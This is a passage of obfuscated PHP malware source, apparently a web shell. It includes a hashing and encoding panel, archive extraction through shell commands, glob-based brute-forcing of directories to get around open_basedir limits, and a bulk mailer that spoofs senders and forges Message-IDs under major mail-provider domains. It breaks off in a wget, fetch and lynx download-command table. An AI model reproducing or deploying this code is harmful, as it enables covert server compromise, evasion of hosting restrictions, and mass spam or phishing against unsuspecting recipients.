"\145\156\143\x6f\144\x65\x72\x5f\x66\x6f\x72\155") . z9b("\x64") . z9b("\x61\143\x74", "\145\x6e\x63\x6f\144\x65\162\x73") . z9b("\163\165\x62\155\151\164\x5f\145\156\x63\x6f\x64\x65", "\x31") . z7i(z5t(z9s("\71\61")) . z9j(z4a("\145\156\x63\157\144\x65\137\x73\x65\154\x65\x63\x74\145\x64", $encode_functions, "\65", 1, '') . z8v(z9s("\x32\64\x39"), "\67") . z8m(z9s("\62\65\x30"), "\144\x6f\143\x75\x6d\x65\x6e\x74\56\145\x6e\x63\x6f\144\x65\162\x5f\146\x6f\x72\x6d\x2e\145\156\143\157\144\145\162\x5f\151\156\x70\165\x74\x2e\166\141\x6c\165\145\x3d\x27\47\x3b", "\67"))) . z9f(z5t(z9s("\x32\x35\71")) . z9j(z5w("\x65\156\143\x6f\144\x65\x72\x5f\x69\x6e\160\x75\x74", "\x36") . (@isset($encoder_input) ? @htmlspecialchars($encoder_input) : '') . z5q())) . ($submited ? z7i(z5t(z9c()) . z9j(z8m(z9s("\62\66\x33"), "\x64\x6f\x63\x75\155\145\x6e\164\56\157\x75\164\x70\x75\164\x5f\146\x6f\x72\155\56\145\156\x63\157\144\x65\162\137\x6f\x75\x74\160\x75\164\56\x76\x61\x6c\165\x65\x3d\47\x27\x3b", "\67") . z8m(z9s("\x32\66\64"), "\x64\x6f\x63\165\x6d\x65\156\164\56\145\x6e\x63\157\144\x65\162\137\146\157\162\155\56\x65\156\143\157\x64\145\162\x5f\x69\156\160\165\164\x2e\x76\141\x6c\165\145\75\x64\157\x63\x75\155\x65\x6e\x74\56\157\165\164\x70\165\164\x5f\146\x6f\162\x6d\x2e\x65\156\x63\x6f\x64\145\x72\137\157\x75\164\x70\x75\164\56\166\141\154\x75\x65\x3b", "\x37"))) : '') . z9z() . z10w() . z6d() . z7g() . z7u() . z10w(); if (@isset($hash_input) && !@empty($hash_input)) { echo z2b(z9s("\62\66\x31")) . z6d(); echo z9m("\x32"); if (@count($hashes) > 0) { if (@isset($hash_type) && @in_array($hash_type, $hashes)) { echo z7i(z5t($hash_type) . z9j(z8h($hfnc ? @hash($hash_type, $hash_input) : $hash_type($hash_input), "\67"))); } else { foreach ($hashes as $k) { echo z7i(z5t($k) . z9j(z8h($hfnc ? @hash($k, $hash_input) : $k($hash_input), "\67"))); } } } echo z10w() . z6d(); } if ($submited) { $encoder_output = $encode_selected($encoder_input); echo z2b(z9s("\x32\x36\62")) . z6d() . z9m("\62") . z9l('', "\157\x75\164\x70\165\x74\137\146\x6f\x72\x6d") . z9f(z6x(z5w("\x65\x6e\143\157\x64\x65\162\x5f\x6f\x75\x74\x70\165\164", "\x31") . @htmlspecialchars($encoder_output) . z5q())) . z9z() . z10w() . z6d(); } } goto cBCE9; lw1FN: if (!@isset($act)) { $act = z7x("\62", "\x64\145\146\x61\x75\x6c\164\x5f\141\143\164"); } goto ExSHD; zHT5M: if ($act == "\x66" && @isset($ft) && ($ft == "\x65\x78\164\x72\x61\x63\164" || $ft == "\x65\x78\x74\162\141\x63\x74\x7a\x69\x70")) { $ff = ''; if (z4q($d . $f)) { $ff = $d . $f; } elseif (z4q($f)) { $d = z3p($f); $f = z2h($f); $ff = $d . $f; } if (@isset($reg_archives) && $reg_archives != '' && @isset($ff)) { if (@preg_match("\x2f\134\56\x28" . $reg_archives . "\x29\44\57\151", $f, $m)) { if (@isset($m[1])) { if ($ft == "\x65\170\164\162\x61\x63\164" && $sh_exec) { switch (@strtolower($m[1])) { case "\x72\141\162": z9t("\165\156\x72\141\x72\40\170\40{$ff}"); break; case "\x7a\151\x70": z9t("\165\x6e\172\x69\x70\40{$ff}"); break; case "\164\141\x72\x2e\x62\x7a\62": z9t("\164\x61\x72\40\x6a\170\146\x20{$ff}"); break; case "\164\x61\x72\56\147\x7a": z9t("\164\x61\162\x20\x7a\x78\146\x20{$ff}"); break; case "\164\x67\x7a": z9t("\164\x61\162\40\172\x78\x66\40{$ff}"); break; case "\164\141\x72": z9t("\x74\x61\162\x20\x78\146\40{$ff}"); break; case "\x67\172": z9t("\x67\x75\156\x7a\151\x70\40{$ff}"); break; case "\142\172\x32": z9t("\142\165\x6e\x7a\x69\160\62\x20{$ff}"); break; default: break; } } elseif ($ft == "\145\x78\164\162\141\x63\164\172\151\x70") { echo z2b(z0j($ff, $d) ? z9s("\x34\x37\66", $f) : z9s("\x34\67\67", $f), "\60"); } } } } $act = "\x6c\163"; } goto muTmj; Lp0NC: define("\x73\164\141\x72\x74", z10r()); goto kzLs2; xBqQp: function z2g($used) { return "\x3c\144\151\x76\40\143\x6c\x61\163\163\x3d\x22" . z4m("\64", "\63") . "\42\x3e\74\x64\151\166\40\143\154\x61\163\x73\x3d\x22" . z4m("\x35", "\x33") . "\x22\x20\x73\164\x79\154\x65\x3d\x22\167\x69\x64\x74\150\72" . ($used > 100 ? "\x31\x30\x30" : $used) . "\x25\73\42\76\x26\x6e\142\163\160\73\x3c\57\x64\x69\166\76\x3c\x2f\144\x69\166\76"; } goto wQer1; Q_zdi: function z2c($dir) { global $win, $safeDirArr; if (z7r("\147\154\157\x62")) { $error_reporting = @ini_get("\x65\x72\x72\x6f\162\137\x72\x65\x70\x6f\x72\x74\x69\x6e\x67"); @error_reporting(E_WARNING); @ini_set("\144\x69\163\x70\x6c\x61\171\x5f\145\162\x72\157\x72\x73", 1); $root = "\x2f"; if ($dir) { $root = $dir; } $c = 0; $safeDirArr = array(); @set_error_handler("\x7a\x30\145"); $chars = "\137\55\56\x30\x31\x32\x33\x34\65\66\x37\70\71\141\x62\143\x64\145\x66\147\150\x69\152\153\154\156\155\x6f\x70\x71\162\x73\164\x75\x76\x77\x78\171\172\101\x42\103\104\x45\x46\107\x48\111\x4a\113\x4c\115\116\117\120\121\x52\123\124\125\126\127\130\x59\x5a"; for ($i = 0; $i < @strlen($chars); $i++) { $path = "{$root}" . (@substr($root, -1) != "\57" ? "\x2f" : NULL) . "{$chars[$i]}"; $prevD = $safeDirArr[@count($safeDirArr) - 1]; @glob($path . "\52"); if ($safeDirArr[@count($safeDirArr) - 1] != $prevD) { for ($j = 0; $j < @strlen($chars); $j++) { $path = "{$root}" . (@substr($root, -1) != "\x2f" ? "\57" : NULL) . "{$chars[$i]}{$chars[$j]}"; $prevD2 = $safeDirArr[@count($safeDirArr) - 1]; @glob($path . "\x2a"); if ($safeDirArr[@count($safeDirArr) - 1] != $prevD2) { for ($p = 0; $p < @strlen($chars); $p++) { $path = "{$root}" . (@substr($root, -1) != "\57" ? "\57" : NULL) . "{$chars[$i]}{$chars[$j]}{$chars[$p]}"; $prevD3 = $safeDirarr[@count($safeDirArr) - 1]; @glob($path . "\x2a"); if ($safeDirArr[@count($safeDirArr) - 1] != $prevD3) { for ($r = 0; $r < @strlen($chars); $r++) { $path = "{$root}" . (@substr($root, -1) != "\57" ? "\x2f" : NULL) . "{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}"; @glob($path . "\x2a"); } } } } } } } $safeDirArr = @array_unique($safeDirArr); foreach ($safeDirArr as $item) { echo @htmlspecialchars("{$item}") . "\15\12"; } @error_reporting($error_reporting); } } goto aFLRi; XKrm6: function z1x($c, $e = '') { $s = ''; global $index; $i = $index; $a = array(); if ($e != '') { foreach ($a as $k => $v) { if (@in_array($e, $v)) { $s = $k; break; } } } if ($s == '') { $s = $e; } if (@in_array($s, array("\144\142", "\x73\x71\154", "\160\x6c", "\x63\147\x69", "\x63", "\x63\143", "\x63\160\x70", "\x68", "\150\x70\160", "\x69\143\x6c", "\x69\160\160"))) { $c = @highlight_string("\x3c\77\x70\150\x70" . $c . "\x3f\76", true); $p1 = @stripos($c, "\46\154\164\x3b\77\x70\150\160"); $a = @substr($c, 0, $p1); $b = @substr($c, $p1 + 8); $c = $a . $b; $p2 = @strripos($c, "\x3f\46\147\x74\73"); $a = @substr($c, 0, $p2); $b = @substr($c, $p2 + 5); $c = $a . $b; } else { $c = @highlight_string($c, true); } $c = @str_replace(array("\x3c\146\x6f\156\164\40\143\x6f\x6c\x6f\162\75\x22", "\74\57\146\157\x6e\164\x3e"), array("\74\x73\x70\141\x6e\x20\x73\x74\171\x6c\x65\x3d\x22\143\x6f\x6c\x6f\x72\72\40", "\74\x2f\163\x70\x61\x6e\x3e"), $c); $c = @preg_replace("\57\50\x5c\162\174\x5c\156\51\x2f", '', $c); echo "\74\x70\x72\145\76\74\x63\x6f\x64\x65\x3e" . $c . "\74\57\143\x6f\x64\x65\76\74\x2f\160\x72\145\76"; } goto m1obs; n5eAD: function z1b($h) { return @preg_match("\x2f\136\133\x30\55\x39\x61\55\172\x41\x2d\132\53\134\57\56\135\53\x3d\75\44\57", $h) ? 1 : 0; } goto nHnTd; jNksq: z0s(); goto zHT5M; SsK4b: function z3w($var, $f) { $val = ''; if (!empty($f)) { $reg = "\57\x5c\44" . $var . "\x5c\x73\x2a\x3d\x5c\x73\x2a\50\x5b\x27\42\135\x7b\61\175\51\x28\x5b\136\134\x31\x5c\x73\134\x74\134\x72\x5c\x6e\135\53\x29\134\61\134\163\x2a\73\x2f"; if (@preg_match($reg, $f, $m)) { $val = $m[2]; unset($m); } } unset($f); return $val; } goto pkblD; Ar_vz: if (@function_exists("\x65\162\x72\x6f\162\x5f\162\x65\160\x6f\x72\164\x69\x6e\147")) { @error_reporting(0); } goto sg7r_; w52oA: function z7e($i, $c = '', $s = '') { return z6q($c, $s) . $i . z7g(); } goto yjFZv; vbtGe: if ($act == "\155\x61\x69\154\145\162") { $smsg = $cmsg = ''; $s_ok = $c_ok = 0; if (@isset($m1_submit) && $m1_submit) { if (@empty($m1_name) || @empty($m1_from) || @empty($m1_subj) || @empty($m1_msg) || $m1_msg == "\x6d\x65\163\163\x61\147\x65" || @empty($m1_emails) || !@strstr($m1_emails, "\100")) { $smsg = "\40\x3a\40" . z9s("\x32\63\66"); } else { $s_ok = 1; } } elseif (@isset($m2_submit) && $m2_submit) { if (@empty($m2_name) || @empty($m2_from) || @empty($m2_subj) || @empty($m2_msg) || @empty($m2_csv) || !@preg_match("\x2f\42\x28\x2e\52\x3f\51\x22\134\x73\x2a\x2c\134\163\x2a\42\50\x2e\x2a\x3f\x29\x22\57", $m2_csv)) { $cmsg = "\x20\x3a\x20" . z9s("\x32\x33\66"); } else { $c_ok = 1; } } if (!@isset($m1_msg) || @empty($m1_msg)) { $m1_msg = "\155\145\x73\x73\x61\x67\x65"; } if (!@isset($m1_emails) || @empty($m1_emails)) { $m1_emails = "\145\55\155\141\x69\154\163"; } if (!@isset($m2_prefix) || @empty($m2_prefix)) { $m2_prefix = "\x63\157\154\x75\155\156\x5f\x70\162\145\x66\x69\x78\x5f"; } if (!@isset($m2_ecol) || !@is_numeric($m2_ecol)) { $m2_ecol = "\x30"; } if (!@isset($m2_msg) || @empty($m2_msg)) { $m2_msg = "\x48\x65\154\154\157\40" . $m2_prefix . "\61\x2c\xd\xa\15\xa\131\x6f\165\162\40\101\x64\x64\x72\x65\163\163\72\40" . $m2_prefix . "\62\15\xa\x59\157\165\162\40\120\x68\x6f\x6e\145\x3a\40" . $m2_prefix . "\63\xd\12\xd\xa\105\55\155\141\x69\154\40\163\145\156\164\40\164\157\72\40" . $m2_prefix . "\x30"; } if (!@isset($m2_csv) || @empty($m2_csv)) { $m2_csv = "\42\x6a\x6f\x68\x6e\x40\x65\x6d\x61\x69\x6c\x22\54\x22\152\x6f\150\x6e\x22\54\42\152\x6f\150\156\47\163\40\141\x64\144\x72\145\163\x73\x22\x2c\x22\x30\61\62\63\x34\x35\66\67\70\71\42" . "\xd\xa" . "\42\152\x61\x6e\x65\100\145\155\x61\x69\x6c\42\54\x22\152\x61\x6e\145\42\54\x22\152\x61\x6e\x65\x27\x73\x20\x61\x64\144\162\145\x73\163\x22\x2c\x22\71\x38\67\x36\65\x34\63\x32\x31\60\42"; } echo z2b(array(z9s("\x32\61\62") . $smsg, z9s("\x32\x31\x33") . $cmsg), "\64\66"); echo z9m("\62") . z7p() . z7k('', "\64"); echo z10e(z5n() . z9f(z9j(z10e(z5c(array("\141\143\x74" => "\155\x61\151\154\x65\x72", "\144", "\x6d\61\x5f\163\165\142\155\151\x74" => "\61"), z7i(z9j(z8e(z9s("\62\61\x34"))) . z7e(z5u("\155\61\137\156\x61\x6d\145", '', "\x37"))) . z7i(z9j(z8e(z9s("\62\x31\x35"))) . z7e(z5u("\155\x31\137\146\162\x6f\155", '', "\67"))) . z7i(z9j(z8e(z9s("\62\61\66"))) . z7e(z5u("\155\61\x5f\163\x75\142\x6a", '', "\x37"))) . z7i(z6c(z5w("\x6d\61\x5f\x6d\163\147", "\x33") . $m1_msg . z5q(), "\62")) . z7i(z6c(z5w("\155\x31\137\x65\x6d\x61\x69\154\x73", "\63") . $m1_emails . z5q(), "\x32")) . z7i(z6c(z10e(z7i(z9j(z8e(z9s("\62\61\67")) . z5u("\155\x31\x5f\x73\x74\x72", '', "\64")) . z9j(z8e(z9s("\x32\x31\x38")) . z4a("\x6d\x31\137\162\145\160\x6c\x61\x63\145", array('' => z9s("\62\x32\x33"), "\156\x61\155\145" => z9s("\62\62\x34"), "\x65\155\141\x69\x6c\x31" => z9s("\62\x32\x35"), "\x65\155\141\x69\x6c\62" => z9s("\62\62\x36"), "\x65\x6d\x61\151\x6c\150\141\x73\x68" => z9s("\x32\x32\67")), "\64", 1)) . z9j(z8e(z9s("\62\x31\x39")) . z4a("\155\61\x5f\167\150\x65\162\145", array("\x73\165\142\x6a\145\x63\x74" => z9s("\x32\x32\70"), "\x6d\x65\163\163\x61\147\x65" => z9s("\62\x32\x39"), '' => z9s("\x32\x33\60")), "\65", 1))), "\x32"), "\x32")) . z7i(z6c(z10e(z7i(z9j(z5y("\x6d\61\x5f\x72\x61\156\x64\61", z9s("\62\63\x31"), "\x6d\x31\137\x72\141\156\x64\x31"), '', "\x34") . z9j(z5y("\155\61\137\x72\141\156\144\x32", z9s("\62\x33\62"), "\155\x31\137\x72\141\156\x64\x32"), '', "\x34")), "\x32"), "\62")) . z5n() . z7i(z6c(z8v(z9s("\62\63\x33"), "\x37") . z5y("\155\61\x5f\160\162\x65\x76\x69\x65\x77", z9s("\x32\63\64"), "\155\61\137\x70\x72\x65\x76\151\x65\x77"), "\x32"))), "\62"), "\62\x30")) . z5n(), "\62"); echo z7g() . z7k('', "\64\66"); echo z10e(z5n() . z9f(z9j(z10e(z5c(array("\141\143\x74" => "\155\x61\151\x6c\x65\x72", "\144", "\x6d\x32\x5f\163\165\142\x6d\x69\x74" => "\61"), z7i(z9j(z8e(z9s("\62\x31\64"))) . z7e(z5u("\155\62\x5f\156\141\155\x65", '', "\67"))) . z7i(z9j(z8e(z9s("\x32\61\x35"))) . z7e(z5u("\x6d\62\x5f\146\162\157\x6d", '', "\67"))) . z7i(z9j(z8e(z9s("\62\61\x36"))) . z7e(z5u("\155\62\137\163\x75\142\x6a", '', "\x37"))) . z7i(z6c(z5w("\155\x32\x5f\x6d\163\147", "\x33") . $m2_msg . z5q(), "\x32")) . z7i(z6c(z5w("\x6d\62\137\x63\163\166", "\63") . $m2_csv . z5q(), "\62")) . z7i(z6c(z10e(z7i(z9j(z8e(z9s("\62\x32\60")) . z6i("\155\62\137\x65\x63\x6f\x6c", $m2_ecol, "\x36")) . z9j(z8e(z9s("\x32\62\61")) . z5u("\x6d\x32\x5f\x70\162\x65\x66\x69\x78", '', "\x34")) . z9j(z8e(z9s("\x32\62\x32")) . z4a("\155\x32\137\167\150\145\162\x65", array("\155\145\163\163\x61\x67\x65" => z9s("\62\x32\71"), '' => z9s("\x32\63\60")), "\x34", 1))), "\x32"), "\62")) . z7i(z6c(z10e(z7i(z9j(z5y("\155\62\137\x72\141\x6e\144\61", z9s("\62\63\61"), "\x6d\x32\x5f\162\141\156\144\61"), '', "\x34") . z9j(z5y("\x6d\x32\137\162\141\156\x64\x32", z9s("\x32\63\x32"), "\x6d\x32\137\162\141\x6e\x64\62"), '', "\64")), "\x32"), "\62")) . z5n() . z7i(z6c(z8v(z9s("\62\63\x33"), "\67") . z5y("\155\62\x5f\160\162\145\x76\x69\x65\167", z9s("\62\63\64"), "\155\x32\x5f\160\162\145\x76\151\x65\167") . "\40" . z5y("\x6d\x32\137\x76\x65\162\x62\157\163\145", z9s("\x32\x33\x35"), "\x6d\x32\137\166\145\162\142\157\x73\x65"), "\x32"))), "\62"), "\x32\60")) . z5n(), "\62"); echo z7g() . z7u() . z10w(); if ($s_ok || $c_ok) { $host = array("\141\x6f\154\56\143\x6f\155", "\x61\164\164\56\156\145\164", "\142\145\x6c\154\163\x6f\165\164\150\56\x6e\x65\164", "\x63\x6f\x6d\x63\x61\x73\164\56\156\145\x74", "\145\155\x61\x69\154\x2e\143\x6f\x6d", "\147\x6d\x61\151\x6c\56\x63\x6f\155", "\x67\157\x6f\147\x6c\145\155\x61\x69\154\x2e\143\x6f\155", "\150\157\x74\155\x61\151\154\x2e\x63\157\x6d", "\152\165\156\x6f\56\143\x6f\155", "\154\151\166\x65\56\143\x6f\155", "\154\x79\143\157\x73\x2e\143\157\155", "\155\x61\151\154\56\143\157\x6d", "\155\151\156\144\163\x70\x72\x69\x6e\147\x2e\x63\157\x6d", "\155\163\x6e\56\x63\157\155", "\x70\141\143\142\x65\154\x6c\x2e\143\x6f\155", "\160\157\163\164\56\143\x6f\x6d", "\160\x72\x6f\x64\x69\147\171\x2e\x6e\x65\164", "\x72\157\143\x6b\x65\x74\155\x61\x69\x6c\56\143\157\155", "\163\142\x63\147\x6c\157\142\141\154\x2e\156\145\164", "\x75\x73\141\x2e\x63\157\x6d", "\171\141\x68\157\x6f\x2e\143\157\x6d", "\x79\x6d\141\x69\x6c\x2e\x63\157\155"); $ch = @count($host) - 1; $i = 1; $m_success = 0; $m_failed = 0; $all_failed = array(); if ($s_ok) { echo z9m("\x32") . z7i(z9j(z9s("\x32\x33\x37"), "\x38", "\62") . z9j(z9s("\62\x33\70"), "\70") . z9j(z9s("\x32\63\x39"), "\70") . z9j(z9s("\62\x34\60"), "\x38") . z9j(z9s("\x32\64\x31"), "\x38", "\63")); $m_all = @explode("\12", $m1_emails); $m_all = @array_unique($m_all); $m_count = @count($m_all); $m_len = @strlen($m_count); z5p(); foreach ($m_all as $m_mail) { $from = $m1_from; if (@isset($m1_rand1) && $m1_rand1) { $from = @str_replace("\100", @rand(100000, 999999) . "\x40", $from); } if (isset($m1_rand2) && $m1_rand2) { $hr = @rand(0, $ch); $m_msgid = @md5(@uniqid(@time())) . "\x40" . $host[$hr]; } else { $m_msgid = @md5(@uniqid(@time())) . "\100" . $_SERVER["\x53\x45\x52\126\105\x52\x5f\x4e\x41\x4d\x45"]; } $header = ''; $header .= "\x46\162\x6f\155\72\40{$m1_name}\x20\74{$from}\x3e\xa"; $header .= "\x52\145\160\x6c\171\55\124\x6f\x3a\x20\74{$from}\76\12"; $header .= "\115\x65\x73\x73\x61\147\145\x2d\x49\104\x3a\x20\74" . $m_msgid . "\x3e\xa"; $header .= "\115\x49\x4d\105\55\126\x65\162\163\x69\x6f\156\72\x20\61\56\60\xa"; $date = @date("\x59\x2d\x6d\x2d\144"); $header .= "\x44\x61\x74\x65\x3a\40{$date}\xa"; $header .= "\103\157\156\164\145\x6e\x74\55\124\171\160\x65\72\x20\x74\145\x78\x74\x2f\150\x74\x6d\154\x3b\x20\x63\x68\141\162\x73\145\164\x3d\125\x54\x46\x2d\70\12"; $header .= "\103\157\156\164\145\156\164\55\124\162\141\156\163\x66\145\x72\55\105\156\143\157\144\x69\156\147\72\40\x38\x62\151\164\xa\xa"; $m_msg = $m1_msg; $m_subj = $m1_subj; if (@isset($m1_str) && !@empty($m1_str) && @isset($m1_replace) && !@empty($m1_replace)) { if ($m1_replace == "\x6e\x61\x6d\x65") { if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "\155\x65\x73\163\x61\147\145") { $m_msg = @str_replace($m1_str, $m1_name, $m_msg); } if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "\163\x75\142\x6a\145\143\x74") { $m_subj = @str_replace($m1_str, $m1_name, $m_subj); } } elseif ($m1_replace == "\145\x6d\x61\x69\x6c\x31") { if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "\155\145\163\163\141\x67\x65") { $m_msg = @str_replace($m1_str, $m1_from, $m_msg); } if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "\x73\165\142\x6a\145\x63\x74") { $m_subj = @str_replace($m1_str, $m1_from, $m_subj); } } elseif ($m1_replace == "\145\155\x61\x69\154\x32") { if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "\x6d\x65\163\x73\x61\147\145") { $m_msg = @str_replace($m1_str, $m_mail, $m_msg); } if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "\163\165\142\x6a\145\x63\164") { $m_subj = @str_replace($m1_str, $m_mail, $m_subj); } } elseif ($m1_replace == "\x65\x6d\x61\x69\154\x68\x61\163\x68") { if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "\x6d\x65\x73\163\x61\147\x65") { $m_msg = @str_replace($m1_str, @md5($m_mail), $m_msg); } if (!@isset($m1_where) || @empty($m1_where) || $m1_where == "\x73\x75\142\152\145\143\164") { $m_subj = @str_replace($m1_str, @md5($m_mail), $m_subj); } } } $m_pad = ''; if (@strlen($i) < $m_len) { $m_pad = @str_repeat("\x30", $m_len - @strlen($i)); } if (!@empty($m_mail)) { if (@isset($m1_preview) && $m1_preview) { if ($i > 5) { break; } echo z9f(z9j($m_pad . $i, "\x31\x34", "\x32") . z9j($m_mail, "\x31\x34") . z9j($from, "\61\64") . z9j($m_msgid, "\61\x34") . z9j(z5i(z9s("\62\x34\x35")), "\x31\64", "\x33"), $i % 2 ? "\60" : "\61"); } elseif (@mail($m_mail, $m_subj, $m_msg, $header)) { echo z9f(z9j($m_pad . $i, "\x31\x34", "\x32") . z9j($m_mail, "\x31\x34") . z9j($from, "\61\64") . z9j($m_msgid, "\x31\x34") . z9j(z5i(z9s("\x32\64\x33")), "\61\64", "\63"), $i % 2 ? "\x30" : "\61"); z5p(); $m_success++; } else { echo z9f(z9j($m_pad . $i, "\61\x34", "\x32") . z9j($m_mail, "\x31\64") . z9j($from, "\61\64") . z9j($m_msgid, "\x31\x34") . z9j(z8z(z9s("\x32\x34\64")), "\x31\64", "\x33"), $i % 2 ? "\60" : "\x31"); z5p(); $all_failed[] = $m_mail; $m_failed++; } $i++; } } } elseif ($c_ok) { $fcsv = @str_replace("\xd", "\xa", $m2_csv); $fcsv = z3q("\xa\xa", "\xa", $fcsv); $csv = z5g($fcsv); echo z9m("\62") . z7i(z9j(z9s("\62\63\x37"), "\70", "\x32") . z9j(z9s("\62\63\x38"), "\70") . z9j(z9s("\62\63\x39"), "\x38") . (@isset($m2_verbose) && $m2_verbose ? z9j(z9s("\x32\x34\x32"), "\x38") : '') . z9j(z9s("\x32\64\60"), "\70") . z9j(z9s("\62\x34\x31"), "\70", "\63")); $m_count = @count($csv); $m_len = @strlen($m_count); z5p(); foreach ($csv as $str_csv) { if (@is_array($str_csv)) { $from = $m2_from; $m_mail = $str_csv[$m2_ecol]; if (@isset($m2_rand1) && $m2_rand1) { $from = @str_replace("\100", @rand(100000, 999999) . "\x40", $from); } if (isset($m2_rand2) && $m2_rand2) { $hr = @rand(0, $ch); $m_msgid = @md5(@uniqid(@time())) . "\x40" . $host[$hr]; } else { $m_msgid = @md5(@uniqid(@time())) . "\x40" . $_SERVER["\x53\105\x52\126\x45\x52\137\116\x41\115\x45"]; } $header = ''; $header .= "\x46\x72\157\155\x3a\x20{$m2_name}\40\x3c{$from}\76\12"; $header .= "\122\x65\x70\x6c\171\x2d\124\x6f\72\x20\x3c{$from}\76\xa"; $header .= "\115\x65\163\x73\x61\x67\x65\x2d\111\x44\72\x20\x3c" . $m_msgid . "\76\12"; $header .= "\115\111\x4d\x45\x2d\x56\145\x72\x73\x69\157\x6e\72\40\61\56\x30\xa"; $date = @date("\131\55\155\x2d\x64"); $header .= "\104\141\164\145\72\x20{$date}\12"; $header .= "\103\x6f\x6e\x74\x65\x6e\x74\x2d\x54\171\160\x65\x3a\x20\164\x65\170\x74\57\x68\164\x6d\154\x3b\40\x63\150\141\x72\x73\145\x74\x3d\x55\x54\106\x2d\70\12"; $header .= "\103\157\x6e\x74\145\x6e\x74\55\124\162\x61\x6e\163\x66\145\162\x2d\x45\156\x63\157\x64\x69\x6e\x67\x3a\x20\x38\142\151\x74\12\xa"; $m_msg = $m2_msg; $m_subj = $m2_subj; $repl = array(); for ($si = @count($str_csv) - 1; $si >= 0; $si--) { if (@empty($m2_where)) { $m_msg = @str_replace($m2_prefix . $si, $str_csv[$si], $m_msg); $m_subj = @str_replace($m2_prefix . $si, $str_csv[$si], $m_subj); $repl[] = $m2_prefix . $si . "\x20\75\x20" . $str_csv[$si] . z9x(); } else { $m_msg = @str_replace($m2_prefix . $si, $str_csv[$si], $m_msg); $repl[] = $m2_prefix . $si . "\x20\75\x20" . $str_csv[$si] . z9x(); } } $replacing = @count($repl) > 0 ? @implode('', @array_reverse($repl)) : ''; $m_pad = ''; if (@strlen($i) < $m_len) { $m_pad = @str_repeat("\60", $m_len - @strlen($i)); } if (!@empty($m_mail)) { if (@isset($m2_preview) && $m2_preview) { if ($i > 5) { break; } echo z9f(z9j($m_pad . $i, "\x31\64", "\x32") . z9j($m_mail, "\61\64") . z9j($from, "\x31\x34") . (@isset($m2_verbose) && $m2_verbose ? z9j($replacing, "\61\x34") : '') . z9j($m_msgid, "\61\64") . z9j(z5i(z9s("\x32\x34\x35")), "\x31\x34", "\63"), $i % 2 ? "\x30" : "\61"); } elseif (@mail($m_mail, $m_subj, $m_msg, $header)) { echo z9f(z9j($m_pad . $i, "\61\64", "\x32") . z9j($m_mail, "\x31\x34") . z9j($from, "\x31\64") . (@isset($m2_verbose) && $m2_verbose ? z9j($replacing, "\x31\x34") : '') . z9j($m_msgid, "\61\64") . z9j(z5i(z9s("\62\x34\x33")), "\x31\64", "\x33"), $i % 2 ? "\x30" : "\61"); z5p(); $m_success++; } else { echo z9f(z9j($m_pad . $i, "\x31\64", "\x32") . z9j($m_mail, "\x31\x34") . z9j($from, "\x31\64") . (@isset($m2_verbose) && $m2_verbose ? z9j($replacing, "\x31\x34") : '') . z9j($m_msgid, "\x31\64") . z9j(z8z(z9s("\62\64\x34")), "\x31\x34", "\63"), $i % 2 ? "\60" : "\61"); z5p(); $all_failed[] = $m_mail; $m_failed++; } $i++; } } } echo z10w(); } if (!@isset($m2_preview) || !$m2_preview) { echo z6d() . z10e(z7i(z6x(z9s("\64\x32\x36", $m_count) . z9c() . z9s("\64\x32\x37", $m_success) . z9c() . z9s("\x34\x32\70", $m_failed) . ($m_failed > 0 ? z9c() . z9s("\64\63\x31") : ''))), "\x32"); if (@count($all_failed) > 0) { echo z10e(z9f(z6x(z5w('', "\61", 1) . @implode("\xa", @array_unique($all_failed)) . z5q())), "\62"); } } } } goto e5RW2; VIAuM: $bopendir = @count(z9d(@ini_get("\157\x70\145\156\137\x62\141\x73\145\x64\151\x72"))) > 0 ? 1 : 0; goto ubUwE; o7CNm: function z8x($i) { return @is_bool($i) ? $i ? "\x31" : "\x30" : $i; } goto HOV_B; h9eR1: function z9r($m, $s = 0) { if (($m & 49152) === 49152) { $t = "\x73"; } elseif (($m & 16384) === 16384) { $t = "\144"; } elseif (($m & 40960) === 40960) { $t = "\x6c"; } elseif (($m & 32768) === 32768) { $t = "\x2d"; } elseif (($m & 24576) === 24576) { $t = "\x62"; } elseif (($m & 8192) === 8192) { $t = "\x63"; } elseif (($m & 4096) === 4096) { $t = "\x70"; } else { $t = "\77"; } $a["\x72"] = ($m & 256) > 0; $a["\167"] = ($m & 128) > 0; $a["\x78"] = ($m & 64) > 0; $b["\x72"] = ($m & 32) > 0; $b["\167"] = ($m & 16) > 0; $b["\x78"] = ($m & 8) > 0; $c["\162"] = ($m & 4) > 0; $c["\167"] = ($m & 2) > 0; $c["\170"] = ($m & 1) > 0; if ($s) { return array("\x74" => $t, "\157" => $a, "\x67" => $b, "\167" => $c); } $o["\x72"] = $a["\x72"] ? "\162" : "\55"; $o["\167"] = $a["\167"] ? "\167" : "\55"; $o["\170"] = $a["\170"] ? "\x78" : "\55"; $g["\162"] = $b["\x72"] ? "\x72" : "\x2d"; $g["\x77"] = $b["\167"] ? "\x77" : "\55"; $g["\170"] = $b["\x78"] ? "\170" : "\55"; $w["\162"] = $c["\162"] ? "\162" : "\x2d"; $w["\167"] = $c["\167"] ? "\x77" : "\55"; $w["\x78"] = $c["\x78"] ? "\x78" : "\x2d"; if ($m & 2048) { $o["\x78"] = $o["\170"] == "\x78" ? "\x73" : "\x53"; } if ($m & 1024) { $g["\x78"] = $g["\x78"] == "\x78" ? "\163" : "\123"; } if ($m & 512) { $w["\170"] = $w["\170"] == "\x78" ? "\x74" : "\124"; } return $t . @join('', $o) . @join('', $g) . @join('', $w); } goto QuCQY; BEvCo: $getaliases = array("\x77\147\x65\164" => "\x5b\45\x31\45\x5d\40\133\x25\x32\45\135\x20\x2d\117\40\x5b\45\x33\45\135", "\x66\145\x74\x63\x68" => "\133\x25\x31\x25\135\x20\55\160\40\x5b\45\x32\45\x5d\x20\x2d\x6f\40\x5b\x25\x33\x25\x5d", "\154\171\x6e\x78" => "\133\x25\x31\45\x5d\40\x2d\x73\x6f\x75\x72\x63\145\40\133\x25\62\x25\x5d\40\x3e\x20\x5b\45\x33\x25\135", "\x6c\151\156\x6b\163" => "\133\45\61\x25\x5d\x20\x2d\x73\x6f\x75\x72\x63\x65\40\133\45\x32\45\x5d\40\76\x20\133\45\63\x25\x5d", "\107\x45\124" => 